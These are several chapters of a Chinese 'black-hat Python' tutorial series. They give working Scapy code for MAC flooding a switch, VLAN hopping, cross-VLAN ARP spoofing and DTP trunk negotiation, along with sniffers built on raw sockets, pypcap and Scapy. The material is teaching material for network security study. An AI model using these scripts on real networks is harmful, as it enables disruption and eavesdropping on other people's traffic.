        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc



如果没有在我们的字典中，我们判断它是新加入网络的主机，打印出它的MAC和IP地址。如果在我们的字典中，但是MAC值不一样，肯定是某台机器变更了MAC地址，这是异常情况：

elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
      print pkt[ARP].hwsrc + \
      " has got new ip " + \
      pkt[ARP].psrc + \
      " (old " + ip_mac[pkt[ARP].psrc] + ")"
     
      ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc



打印出现异常情况的主机，同时更新我们的字典。

3.2.3 完整代码

将上面的代码拼装在一起，就是一个完整的例子了：

#!/usr/bin/python
 
from scapy.all import sniff,ARP
from signal import signal,SIGINT
import sys
 
ip_mac = {}
 
def watchArp(pkt):
    if pkt[ARP].op == 2:
        print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
 
  # Device is new. Remember it.
    if ip_mac.get(pkt[ARP].psrc) == None:
        print "Found new device " + \
        pkt[ARP].hwsrc + " " + \
        pkt[ARP].psrc
        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
 
  # Device is known but has a different IP
    elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
        print pkt[ARP].hwsrc + \
        " has got new ip " + \
        pkt[ARP].psrc + \
        " (old " + ip_mac[pkt[ARP].psrc] + ")"
 
        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
 
sniff(prn=watchArp,filter="arp",iface="eth0",store=0);



下面我们运行看看效果：

图5

3.2.3 小结

本节结合sniff和我们上一节的基础知识，做一个ARP监控的小例子。大家要学会举一反三，结合上一节的ARP欺骗，和本节的监控，二者是否可以结合呢？欢迎在微信订阅号的本篇文章下留言讨论。

下一节，我们针对很多小型的路由交换设备存在的ARP缓存区溢出问题，一起来完善一个MAC洪水攻击的程序。

第3.3节《MAC洪水攻击》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。
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Python灰帽编程 3.3 MAC洪水

传统的交换机（我只对我目前使用的交互机做过测试，按照常识只能这样表述）在数据转发过程中依靠对CAM表的查询来确定正确的转发接口，一旦在查询过程中无法找到相关目的MAC对应的条目，此数据帧将作为广播帧来处理。CAM表的容量有限，只能储存不多的条目，当CAM表记录的MAC地址达到上限后，新的条目将不会添加到CAM表中。

基于以上原理，我们会发现一个非常有趣的现象。某台PC不断发送去往未知目的地的数据帧，且每个包的源MAC地址都不同，当这样 的数据包发送的速度足够快之后，快到在刷新时间内将交换机的CAM表迅速填满。CAM表被这些伪造的MAC地址占据，真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为Hub。

交换机降级为hub之后，我们就可以监听所有连接到该交换机的主机的数据了。

当然，具体交互设备对ARP洪水的响应是不一样的，需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的MAC和IP地址方法有很多，因为地址的标准格式在那里，很容易拼装。这里要给大家介绍的是scapy模块中的RandMAC和RandIP方法。这两个方法用来随机产生MAC地址和IP地址，方法接收模板参数，来产生特定网段的地址。

例如下面的代码：

#!/usr/bin/python
 
from scapy.all import *
 
i=5
while(i):
    print RandMAC()
    print RandIP()
    i=i-1



运行结果如下图：

图2

如果需要产生固定网段的IP，可以输入指定的模板。

#!/usr/bin/python
 
from scapy.all import *
 
i=5
while(i):
    print RandIP("192.168.1.*")
    i=i-1



运行结果如下：

图3

随机的问题解决之后，下面我们考虑下什么样的数据包能达到目的呢？回看一下前文提到的内容，只要我们的数据包中有指定的源IP和MAC，那么交换机就会进行记录。

例如ARP包：

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))



例如ICMP包：

Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()



两个核心问题解决了，可以写完整的代码了：

图4

#!/usr/bin/python
import sys
from scapy.all import *
import time
 
iface="eth0"
if len(sys.argv)>=2:
    iface=sys.argv[1]
while(1):
    packet= Ether(src=RandMAC("*:*:*:*:*:*"),
                  dst=RandMAC("*:*:*:*:*:*")) / \
    IP(src=RandIP("*.*.*.*"),
    dst=RandIP("*.*.*.*")) / \
    ICMP()
    time.sleep(0.5)
    sendp(packet,iface=iface,loop=0)



上面的代码通过不停的发送ICMP数据包，来实现MAC洪水攻击。运行结果如下：

图5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨，主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

下一节，我们一起探讨下针对VLAN的攻击。

第3.4节《跨越VLAN》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。
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Python黑帽编程 3.4 跨域VLAN

VLAN(Virtual Local Area Network)，是基于以太网交互技术构建的虚拟网络，既可以将同一物理网络划分成多个VALN，也可以跨越物理网络障碍，将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

图2

实现VLAN的方式有很多种，基于交换设备的VLAN划分，一般有两种：

l  基于交换机的端口划分

l  基于IEEE 802.1q协议，扩展以太网帧格式

基于第二层的VLAN技术，有个Trunking的概念，Trunking是用来在不同的交换机之间进行连接，以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外，思科有自己的Trunk协议叫ISL。

图3

图3是802.1q的数据包，和普通的以太网帧并没有本质的区别，只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN，从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考，想要跨越VLAN通信，是不是只要修改数据包中的标识符就可以了呢？

3.4.1 VLAN HOPPING

基于上面的分析，我们考虑一个简单的场景：跨VLANping，从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前，我们还是要先解决VLAN数据包构造的问题，在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python    
  
from scapy.all import *   
  
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
                Dot1Q(vlan=1) / \
                Dot1Q(vlan=2) / \
                IP(dst="192.168.13.3") / \
                ICMP()    
  
sendp(packet)



上面的代码我们指定了目标主机的MAC和IP地址，添加了两个VLAN标识，第一个是发送数据的主机所在的VLAN，第二个是目标主机所在的VLAN。交换机会移除第一个标识，读到第二个标识的时候，会转发该数据包到目标主机。

3.4.2  跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题，由于VLAN限制了广播域，我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单，只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

 def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print "[-] Error: Could not resolve targets MAC address"
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
 
        return pkt



在构造数据包的部分，我们插入VLAN标识：

   pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan)/ ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包，达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是，本文的方法主要针对802.1Q协议，对以端口进行物理隔离的的VLAN没有效果。

下一节，我们继续VLAN攻击《3.5 DTP攻击》。

第3.5节《DTP攻击》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。
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Python黑帽编程 3.5 DTP攻击

在上一节，《Python黑帽编程 3.4 跨越VLANPython黑帽编程 3.4 跨越VLAN - 玄魂工作室--Coding - 知乎专栏》中，我们讨论了一般的VLAN中实施攻击的方法，这一节属于扩展内容，简单演示下Cisco特有的DTP协议的攻击方法。

由于条件限制，本节的代码我没有在实际环境下测试，不保证有效，欢迎讨论。

3.5.1 DTP协议

动态中继协议 DTP(Dynamic Trunking Protocol)是一种 Cisco 私有协议。DTP 用于两台交换机的直连二层端口探测对端的配置，自动协商出二层端口的链路类型和以太协议封装进而与对端自适应。这样当对端设备修改时，就不用手工修改本端配置，通过协议自适应更改即可。DTP 的重要作用是，在组网不确定的情况下，可以实现即插即用；修改网络拓扑时，也不用手工修改二层端口的配置。

 DTP 利用第二层中继帧，在两台交换机的直连端口之间进行通信。DTP 报文仅限于两个 直连端口之间的通信，维护两个直连端口的链路类型和以太封装类型。工作原理如图2所示。

图2

如果交换机开启了DTP协议，攻击者假冒交换机向目标交换机发送Dynamic desirable数据包，那么会把目标端口变成Trunking端口，这意味着我们可以通过修改本机的配置进入任何一个VLAN，同时可以利用3.4节的方法进行VLAN跳跃攻击，监听所有数据了。

3.5.2 发送DYNAMIC DESIRABLE数据包

在Scapy的scapy.contrib.dtp包中有一个negotiate_trunk方法，原型如下：

def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
    print "Trying to negotiate a trunk on interface %s" % iface
    p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
    sendp(p)



该方法第一个参数需要我们传入发送数据包的网卡，第二个是可选参数，可以用来传入要假冒的交换机的Mac地址，如果不传入，会随机产生一个。

调用该方法，就可以完成Dynamic desirable数据包的生成和发送工作。如下代码所示：

图3

数据包发送之后，会有一些延迟才会生效。

3.5.3 小结

本节主要讲了如何利用DTP协议攻击Cisco设备，本节的方法需要和3.4节的方法结合使用。

下一节，我们进入第四章《网络层攻击》。

第4.0节《网络层攻击概述》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。
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Python黑帽编程 4.1 Sniffer(嗅探器)之数据捕获（上）

网络嗅探，是监听流经本机网卡数据包的一种技术，嗅探器就是利用这种技术进行数据捕获和分析的软件。

编写嗅探器，捕获数据是前置功能，数据分析要建立在捕获的基础上。本节就数据捕获的基本原理和编程实现做详细的阐述。

4.1.1 以太网网卡的工作模式

以太网网卡是我们日常生活中见得最多的网卡，我们的电脑通过网线或者wifi接入网络，使用的都是以太网网卡。

图2

常用的以太网卡支持以下工作模式：广播模式、多播模式、直接模式和混杂模式。

1.广播模式（Broad Cast Model）:它的物理地址（MAC）地址是 0Xffffff 的帧为广播帧，工作在广播模式的网卡接收广播帧。它将会接收所有目的地址为广播地址的数据包，一般所有的网卡都会设置为这个模式。

2.多播传送（MultiCast Model）：多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收，而组外主机却接收不到。但是，如果将网卡设置为多播传送模式，它可以接收所有的多播传送帧，而不论它是不是组内成员。当数据包的目的地址为多播地址，而且网卡地址是属于那个多播地址所代表的多播组时，网卡将接纳此数据包，即使一个网卡并不是一个多播组的成员，程序也可以将网卡设置为多播模式而接收那些多播的数据包。

3.直接模式（Direct Model）:工作在直接模式下的网卡只接收目地址是自己Mac地址的帧。只有当数据包的目的地址为网卡自己的地址时，网卡才接收它。

4.混杂模式（Promiscuous Model）:工作在混杂模式下的网卡接收所有的流过网卡的帧，信包捕获程序就是在这种模式下运行的。网卡的缺省工作模式包含广播模式和直接模式，即它只接收广播帧和发给自己的帧。如果采用混杂模式，网卡将接受同一网络内所有主机发送的数据包。

利用网卡混杂模式的特性，就可以到达对于网络信息监听捕获的目的。

需要注意的是，并不是任何情况下，网络中的数据都会流经你的网卡，比如交换机网络，交换机会绑定端口和MAC，此时就需要上一章讲到的ARP欺骗了。

4.1.2 设置网卡为混杂模式

在Kali Linux中，我们可以通过ifconfig和iwconfig配置网络接口的信息。

正常情况下输入ifconfig，虚拟机中显示如下：

图3

通过命令

ifconfig eth0 promisc



可以将eth0设置为混杂模式。

图4

图四中圈红的部分，表示当前网卡处于混杂模式。

通过ifconfig eth0 -promisc

可以取消网卡的混杂模式。

图5

ifconfig同样适用于无线网卡。

4.1.3 无线网卡的监听模式

对于无线网卡，我们可以使用iwconfig的mode参数来配置混杂模式，mode的选项值如下：

1)      Ad-hoc：不带AP的点对点无线网络

2)      Managed：通过多个AP组成的网络，无线设备可以在这个网络中漫游

3)      Master：设置该无线网卡为一个AP

4)      Repeater：设置为无线网络中继设备，可以转发网络包

5)      Secondary：设置为备份的AP/Repeater

6)      Monitor：监听模式

7)      Auto：由无线网卡自动选择工作模式   

使用如下命令可以设置无线网卡为监听模式：

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up



在Kali中我们通过iwconfig来设置混杂模式，可能会遇到点困难，无线网卡设置成混杂模式后，过几秒又变成manage模式了。这是由于Network Manage服务造成，我们可以关闭该服务。

监听模式和上文的混杂模式有什么区别呢？混杂模式是在wifi连接到指定网络中，监听子网中的数据传输；监听模式下wifi会断网，进而监听某一个信道内所有传输流量，因此可以用来扫描wifi热点，破解wifi密码等工作。

下面我们来看一下如何编程实现Sniffer。

4.1.4 可以在WINDOWS上运行的SNIFFER

Raw Socket是一种较为底层的socket编程接口，可以用来获取IP层以上的数据，所以可以用来编写Sniffer。一个完整的sniffer代码组成，大致分为创建socket对象，接收数据，分析数据三个部分。其中开启网卡的混杂模式，需要配置socket对象的属性。在开启混杂模式方面，Linux上要比windows上复杂一点，我们先从简单的情况开始。

首先我们定义出程序的基本框架。

import  os
import  socket
import  ctypes
 
class PromiscuousSocket (object):
  def __init__(self):
   pass
 
  def __enter__(self):
    pass
 
  def __exit__(self, *args, **kwargs):
     pass
def sniffer(count, bufferSize=65565, showPort=False, showRawData=False):
pass
def printPacket(package, showPort, showRawData):
pass
sniffer(count=10,showPort=True,showRawData=True)



在上面的代码中，我们首先定义了一个类——PromiscuousSocket，这个类负责创建一个绑定到当前主机名绑定的网卡上的raw socket对象，并设置启动混杂模式。PromiscuousSocket类有三个方法，分别为类的构造函数，另外两个函数是用于with关键字的块作用域的起止函数，不了解的同学请翻阅Python的编程基础资料看一下。sniffer函数会创建PromiscuousSocket类的实例，并使用它接收和分析数据。printPacket方法用来显示捕获的数据内容。

接下来我们来完善核心的PromiscuousSocket类，在__init__方法中，我们创建socket对象，并绑定到对象的s字段上。

def __init__(self):

#创建socket
      HOST = socket.gethostbyname(socket.gethostname())
      s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
      s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      s.bind((HOST, 0))
          s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
     s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
      self.s = s



这段代码首先创建一个socket对象，第一个字段family我们选择ipv4；第二个字段type，选择raw socket。(这里关于socket编程的基础内容，如果你不是很理解，可以先看一看本教程的2.8节。)

setsockopt函数是用来对socket对象进行补充选项的设置，三个参数的分别为level、选项名称和值。

level支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。

可用的socket层选项名字如下：

协议层        选项名字SOL_SOCKET    SO_REUSEADDRSOL_SOCKET    SO_KKEPALIVESOL_SOCKET    SO_LINGERSOL_SOCKET    SO_BROADCASTSOL_SOCKET    SO_OOBINLINESOL_SOCKET    SO_SNDBUFSOL_SOCKET    SO_RCVBUFSOL_SOCKET    SO_TYPESOL_SOCKET    SO_ERROR

代码中我们使用了SOL_SOCKET 的SO_REUSEADDR






























选项，该选项可以让多个socket对象绑定到相同的地址和端口上。	  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)






设置了该选项之后，我们调用bind方法，来绑定socket。

  s.bind((HOST, 0))



接下来我们再次通过setsockopt函数来设置数据保护IP头部。

    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)



最后，通过ioctl函数类设置混杂模式，注意传入的两个参数，第一个指定设置的类型为接收所有数据，第二个参数要个第一个对应，使用RCVALL_ON来开启。

   s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

我们再来看完善的__enter__函数。

def __enter__(self):
    return self.s



代码很简单，返回创建的socket对象。

__exit__方法中，我们调用ioctl方法通过RCVALL_OFF来关闭混杂模式。代码如下：

def __exit__(self, *args, **kwargs):
    self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)



完善的sniff方法如下：

def sniffer(count, bufferSize=65565, showPort=False, showRawData=False):
 
    with PromiscuousSocket() as s:
      for i in range(count):
 
          # receive a package
          package = s.recvfrom(bufferSize)
          printPacket(package, showPort, showRawData)



sniff方法利用PromiscuousSocket的一个实例，接收数据包，然后调用printPacket方法打印基本信息。

def printPacket(package, showPort, showRawData):
 
    dataIndex = 0
    headerIndex = 1
    ipAddressIndex = 0
    portIndex = 1
 
    print('IP:', package[headerIndex][ipAddressIndex], end=' ')
    if(showPort):
        print('Port:', package[headerIndex][portIndex], end=' ')           
    print('') #newline
    if(showRawData):
        print('Data:', package[dataIndex])



printPacket方法接收数据包对象，打印对应信息。这里不用过多解释，传入的package对象作为二维数组被解析，通过调试可以知道数据包里面的内容，从而进一步调整程序。

4.1.5 解决LINUX上混杂模式问题

至此，一个简单 的嗅探程序就完成了，在windows上可以运行无误了。不过在linux上会遇到问题，在设置混杂模式的代码：

  s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

Python并没有将SIO_RCVALL和RCVALL_ON及RCVALL_OFF暴露出来。但是系统底层的C结构体是有这样的定义的，这里我们通过fcntl模块的fcntl对象的ioctl方法来配置选项。这里面涉及一个Python编程中python对象和C 类型转换的知识点，我这里就不展开了，不太知道的同学请自行查找资料解决。

这里我们先将要用到的数值封装到类FLAGS中。

class FLAGS(object):
  # linux/if_ether.h
  ETH_P_ALL     = 0x0003 # 所有协议
  ETH_P_IP      = 0x0800 # 只处理IP层
  # linux/if.h，混杂模式
  IFF_PROMISC   = 0x100
  # linux/sockios.h
  SIOCGIFFLAGS  = 0x8913 # 获取标记值
  SIOCSIFFLAGS  = 0x8914 # 设置标记值



然后创建一个ifreq类，如下：

class ifreq(ctypes.Structure):
    _fields_ = [("ifr_ifrn", ctypes.c_char * 16),
                ("ifr_flags", ctypes.c_short)]



该类继承自ctypes.Structure类，使用它我们可以通过字符串中转c结构体字段的值。

下面我们看如何使用FLAGS和ifreq类。

在PromiscuousSocket类初始化socket的代码部分，我们增加下面的代码。

if os.name == 'posix':

      import fcntl # posix-only
 
      s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL))
      ifr = ifreq()
      ifr.ifr_ifrn = b'eth0' #此处注意，这里写死了网卡名称，需要根据实际情况修改或者传入
      fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称
      ifr.ifr_flags |= FLAGS.IFF_PROMISC # 添加混杂模式的值
      fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新
      self.ifr = ifr



上面的代码中，注意几个地方。htons方法用来将16bit的正数的字节顺序转换为网络传输的顺序（所谓的大端，小端，不了解的请google之）。我们创建了一个ifreq类的实例 ifr，接下来设置绑定的网卡的名字，这里程序写死了，需要根据实际情况调整。通过

fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称

将当前socket已经有的Flag获取到，然后加上设置混杂模式的数值，在通过

fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新

更新给socket对象，从而使该socket具有获取所有数据的能力。

在__exit__方法中，取消混杂模式的代码我们也要修改一下：

def __exit__(self, *args, **kwargs):
    if os.name == 'posix':
      import fcntl
      self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC
      fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr)
    else:
      self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)



这段代码就不必再解释了，根据上面的说明应该看得明白。

4.1.6 小结

到此为止，我们基于raw socket实现的嗅探器就完成了，实现我们捕获数据的目的。此种方法，需要大家对操作系统本身对网络协议栈的描述，有较为深入的理解。下一节，我们让这个过程变得轻松一点，使用一些流行的网络库来实现Sniffer。

哦，今天是程序员节，给大家送点福利吧，本文的完整的源码，当然是人人有份了；另外送一本Python网络编程相关的书，只有一本哦。活动参与的方法如下：

1）如果你是在微信中阅读本文，请选择打赏或者转发截图回复，我会讲源码发给你。

2）在打赏的人中，我会随机抽取一个人，送书一本（只限10月24日当晚有效哦）。

3）如果你不是在微信中阅读本文，请移步微信，打开玄魂工作室订阅号（xuanhun521）,回复“python”，打开链接，在黑帽栏目下面找到本篇文章（《PYTHON黑帽编程 4.1 SNIFFER(嗅探器)之数据捕获（上）》），回到1）。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

 点击打开二维码

玄魂工作室-精彩不断


PYTHON黑帽编程 4.1 SNIFFER(嗅探器)之数据捕获（下）

上一节（《4.1 SNIFFER(嗅探器)之数据捕获（上）》）中， 我们讲解了通过Raw Socket的方式来编写Sniffer的基本方法。 本节我们继续来编写Sniffer，只不过使用现成的库，可以大大 缩短我们的工作时间和编程难度，和上一篇文章对比就知道了。

4.1.6 使用Pypcap编写Sniffer

如果在你的电脑上找不到pcap模块，需要手动进行安装一下。在Kali中使用下面的命令进行安装：

apt-get install libpcap-dev
pip install pypcap



安装过程如图1，图2：

 图1

 图2

调用pcap模块的pcap方法可以返回一个用来捕获数据包的pcap对象。

 图3

如图3，pcap方法接收5个参数：

	name，监听的网卡名称。

	snaplen,捕获的每个数据包的最大长度。

	promisc，是否开启混杂模式

	timeout_ms,接收数据包的超时时间

	immediate,立即模式，如果启用则不会缓存数据包





每一个参数都有默认值，如果有多个网卡的话，需要设置第一个参数的值，传入网卡名称。下面 我们定义一个方法，返回一个pcap对象。

import pcap

def getSniffer(ifName=None,filter=''):
    pc = pcap.pcap('eth0',65535,True)
    if(filter != ''):
        pc.setfilter(filter)
    return pc



在上面的代码中，我们创建了一个pcap对象，然后调用了setfilter方法，设置数据包过滤器。 pcap使用的过滤器为符合BPF格式的数据包过滤字符串。

什么是BPF

伯克利包过滤（Berkeley Packet Filter,BPF）语言。让你能够通过比较第2、3、4层协议中各个数据字段值的方法对流量进行过滤。BPF中内置了一些“基元”来指代一些常用的协议字段。可以用“host”、"prot"之类的基元写出非常简洁的BPF过滤规则，也可以检测位于指定偏移量上的字段（甚至可以是一个位）的值。BPF过滤器也可以由详尽的条件链和嵌套的逻辑“与”、“或”操作组成。

BPF基元

现在，构造一个BPF过滤器的最简单的办法就是使用BPF“基元”来指定协议、协议元素或者其他抓包规则。基元通常是由一个id(名称或序号)再加上一个或多个限定符组成的。 \

	type限定符：规定了id名或id序号指的是哪种类型的数据，可能的type有host、net、prot和protrange

	dir限定符：规定了流量是从id流进还是流出的（或两种兼有）。可能的dir有src、dst、ser or dst、src and dst、addr1、addr2、addr3和addr4

	Proto限定符：规定了所匹配的协议。可能的proto有：ether、fddi、tr、wlan、ip、ip6、arp、rarp、decnet、tcp和udp \



最常用的BPF基元要数“host id”，它是用来过滤与某台主机相关的流量的，其中id一栏中应该填上一个地址或主机名。输入“tcp and host 10.10.10.10”这样的过滤规则，将值获取流入/流出得做10.10.10.10的TCP流量，其他的所有帧都会被过滤掉。 \ 举例说明：\ 假设我们现在希望仅仅获取IP地址为192.168.0.1的计算机与除IP地址10.1.1.1之外的其他所有计算机在138、139和445端口上发送的所有通信，下面这个BPF过滤规则就能完成上述任务：

'host 192.168.0.1 and not host 10.1.1.1 and (port 138 or port 139 or port 445)'



常用的BPF基元有:

	host id , dst host id , src host id

	net id , dst net id , src net id

	ether host id , ether dst host id , ether src host id

	port id , dst port id , src port id

	gateway id , ip proto id , ether proto id

	tcp, udp, icmp, arp

	vlan id根据字节的值过滤数据包




BPF语言也可以用来检查帧内任意一个单字节字段（或多字节字段）的值是不是规定值。下面是一些例子：

ip[8]<64

这个过滤规则规定要抓取的是：所有自ip头偏移8个字节的那个单字节字段的值小于64的IP包。被检查的这个字段表示的是“包的存活时间”或称“TTL”。大多数Windows系统中TTL的默认值是128，所以这个过滤规则将丢弃局域网中所有来自Windows系统的流量，只获取所有来自Linux系统的流量（因为在LInux系统中TTL的默认起始值是64）

ip[9]!=1

这一过滤规则规定要抓取的是所有IP头部偏移9个字节的那个单字节字段的值不等于“1”的帧。因为IP头部偏移9个字节的这个字段表示的是嵌入协议，如果等于“1”则表示“ICMP”协议，所以这个过滤规则将抓取除ICMP包之外的所有流量。这一表达式也等价于基元“not icmp”。

icmp[0] = 3 and icmp[1] = 0

这个语句规定要抓取的是：所有ICMP头部偏移0个字节的那个单字节字段等于3，且偏移1个字段的单字节字段等于0的ICMP数据包。换而言之，这一过滤规则将只抓取ICMPtype为3,code为0的“网络不可达”消息。

tcp[0:2] = 31337

这个语句检查了一个多字节字段，它检查的是：TCP头部偏移0个字节起的一个多字节字段（2个字节），该字段表示的是TCP源端口。所以这个表达式就等价于BPF基元“src prot 31337”

ip[12:4] = 0xC0A80101

我们看到的这是一个4字节的比较，它检查的是IP头部偏移12个字节起的4个字节里存放的数据——源IP地址。注意这个表达式里使用了十六进制表示法。转换成十进制数字，它就是192.168.1.1（0xC0=192,0xA8=168,0x01=1）。所以这一过滤规则将捕获所有源IP地址为192.168.1.1的流量。

根据位（bit）的值过滤数据包

BPF语言还提供了一种方法让我们能检查更小的字段或精度更高的偏移量。具体做法是：我们先引用相关的字节，或多个字节，然后再用“位掩码”逐位地把我们需要检查的位分离出来。

假设要过滤所有IP头部中可选字段被启用的包（就是IP头的长度大于20个字节的包）。IP头部的低半个字节表示的是IP头的长度，以“word”(字)为单位(一个word等于4个字节)。我们只需要找出这半个字节的值大于5（5word*4个字节/word=20个字节）的包就等于找出所有IP头部大于20个字节的包了。具体做法是用位掩码“00001111”（或者0x0F）创建一个BPF过滤规>>>则，通过逻辑“与”运算提取目标值。

ip[0] & 0x0F > 0x05 与之类似，如果我们要找出所有“不分片”标志位（位于IP头部偏移6个字节位置上的一位二进制位）被置1的IP包，我们亦可用二进制位掩码“01000000”（0x40）来表示我们只关心IP头部偏移6个字节位置上那个第二最高位的bit值是是不是1。

在构造位掩码是，如果对应的那一位是我们需要检查的，那就用1表示，否则就用0表示。

ip[6] & 0x40 != 0



接下来我们尝试调用getSniffer方法。

sniffer = getSniffer('eth0','tcp port 80')
for ptime,data in sniffer:
    print ptime,data



这段代码中，调用getSniffer方法得到pcap对象，然后我们循环读取监听到的数据。 这里我在虚拟机运行这段代码，然后在从宿主机中访问网页，可以看到打印的数据，证明 监听成功。

 图4

4.1.7 使用Scapy编写Sniffer

又到了强大的Scapy出场的时候了，通过前面章节的介绍，相信大家已经对它不陌生了，在 底层网络编程方面，Scapy机会是万能的存在。下面我们看看使用Scapy编写Sniffer的代码：

from scapy.all import *

def packetHandler(pkt):
    src=pkt[IP].src
    srcPort=pkt[IP].dst
    if src=='192.168.1.20':
        print 'ok'

sniff(filter='tcp and port 80',prn=packetHandler,iface='eth0')



先看上面这段简单的代码，最下面一行是调用的scapy的sniff方法，该方法就是用来监听 数据的，我们可以在scapy的交互窗口中使用help来查看sniff方法的说明。

sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)
    Sniff packets
    sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets

      count: number of packets to capture. 0 means infinity
      store: wether to store sniffed packets or discard them
        prn: function to apply to each packet. If something is returned,
             it is displayed. Ex:
             ex: prn = lambda x: x.summary()
    lfilter: python function applied to each packet to determine
             if further action may be done
             ex: lfilter = lambda x: x.haslayer(Padding)
    offline: pcap file to read packets from, instead of sniffing them
    timeout: stop sniffing after a given time (default: None)
    L2socket: use the provided L2socket
    opened_socket: provide an object ready to use .recv() on
    stop_filter: python function applied to each packet to determine
                 if we have to stop the capture after this packet
                 ex: stop_filter = lambda x: x.haslayer(TCP)



参数说明已经很清楚了，过滤数据包可以使用filter，lfilter，stop_filter,filter是过滤表达式， lfilter 和stopfilter 是python函数。前两者作用一样，用来过滤我们需要的数据包，或者 是一个终止监听的判断条件。 prn是数据包的处理函数，我们要在此做数据包的解析，分析等工作。 数据包的解析，我们会在下一节做详细的讲解，大家在练习的时候一定要结合以太网数据包的格式来 调试分析数据包对象，相互加深，会有事半功倍的效果。

图5

上面代码的运行结果如下：

图6

4.1.8 小结

